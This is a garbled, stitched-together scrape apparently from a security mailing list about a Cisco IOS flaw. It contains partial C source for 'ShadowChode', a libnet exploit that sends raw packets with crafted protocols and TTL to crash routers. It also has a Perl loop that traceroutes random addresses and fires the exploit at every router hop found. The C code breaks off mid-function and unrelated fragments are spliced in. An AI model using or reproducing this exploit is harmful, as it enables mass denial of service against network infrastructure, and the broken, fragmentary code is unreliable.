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ALT

while (1) {

 $x = random(255);

 $y = random(255);

 $z = random(255);

 @hops = traceroute("$x.$y.$z.1");

 for $hopnum (5..@#hops) { # don't kill nearby routers

  system("shadowchode", $hops[$hopnum], 255 - $hopnum);
As mentioned needs libnet

padding for the lame filter
- - - -
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-------------
/**
 * ShadowChode - 0daze b0mb th4 fUq 0uT uV m0zT aNy c1sK0 r0ut3rz!@#
 *
 * Ping target router/switch for TTL to host. Subtract that number from 255
 * and use that TTL on the command line. The TTL must equal 0 or 1 when it
 * reaches the target. The target must accept packets to the given target
 * interface address and there are some other caveats.
 *
 * BROUGHT TO YOU BY THE LETTERS C AND D
 *
 * [L0cK]
 */

#include <stdio.h>
#include <sys/types.h>

#include "libnet.h"

#define MIN_PAYLOAD_LEN (26)

#define CLEANUP  { \
    libnet_destroy(lh); \
    free(payload); \
  }

int
main(int argc, char *argv[])
{
  char errbuf[LIBNET_ERRBUF_SIZE];
  libnet_t *lh;
  u_long dst_addr;
  int ttl;
  int payload_len;
  char *payload;
  libnet_ptag_t data_tag;
  libnet_ptag_t ip_tag;
  int i;
  int len;
  int protocols[] = { 53, 55, 77, 103 };
  struct libnet_stats ls;

  lh = libnet_init(LIBNET_RAW4, NULL, errbuf);

  if (lh == NULL) {
    (void) fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
    exit(-1);
  }

  if (argc != 3 || (dst_addr = libnet_name2addr4(lh, argv[1], LIBNET_RESOLVE) == -1)) {
    (void) fprintf(stderr, "Usage: %s <target> <ttl>\n", argv[0]);
    libnet_destroy(lh);
    exit(-1);
  }

  { /* OH WAIT, ROUTE'S RESOLVER DOESN'T WORK! */
    struct in_addr dst;

    if (!inet_aton(argv[1], &dst)) {
      perror("inet_aton");
      libnet_destroy(lh);
      exit(-1);
    }

    dst_addr = dst.s_addr;
  }

  ttl = atoi(argv[2]);

  libnet_seed_prand(lh);

  len = libnet_get_prand(LIBNET_PR8);

 /* Mmmmm, suck up random amount of memory! */

  payload_len = (MIN_PAYLOAD_LEN > len) ? MIN_PAYLOAD_LEN : len;

  payload = (char *) malloc(payload_len);

  if (payload == NULL) {
    perror("malloc");
    libnet_destroy(lh);
    exit(-1);
  }

  for (i = 0; i < payload_len; i++) {
    payload[i] = i;
  }

  data_tag = LIBNET_PTAG_INITIALIZER;

  data_tag = libnet_build_data(payload, payload_len, lh, data_tag);

for $hopnum ($#hops..5)
 cisco.com 
 198.133.219.25 

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Exploit Available for Cisco IOS Vulnerability

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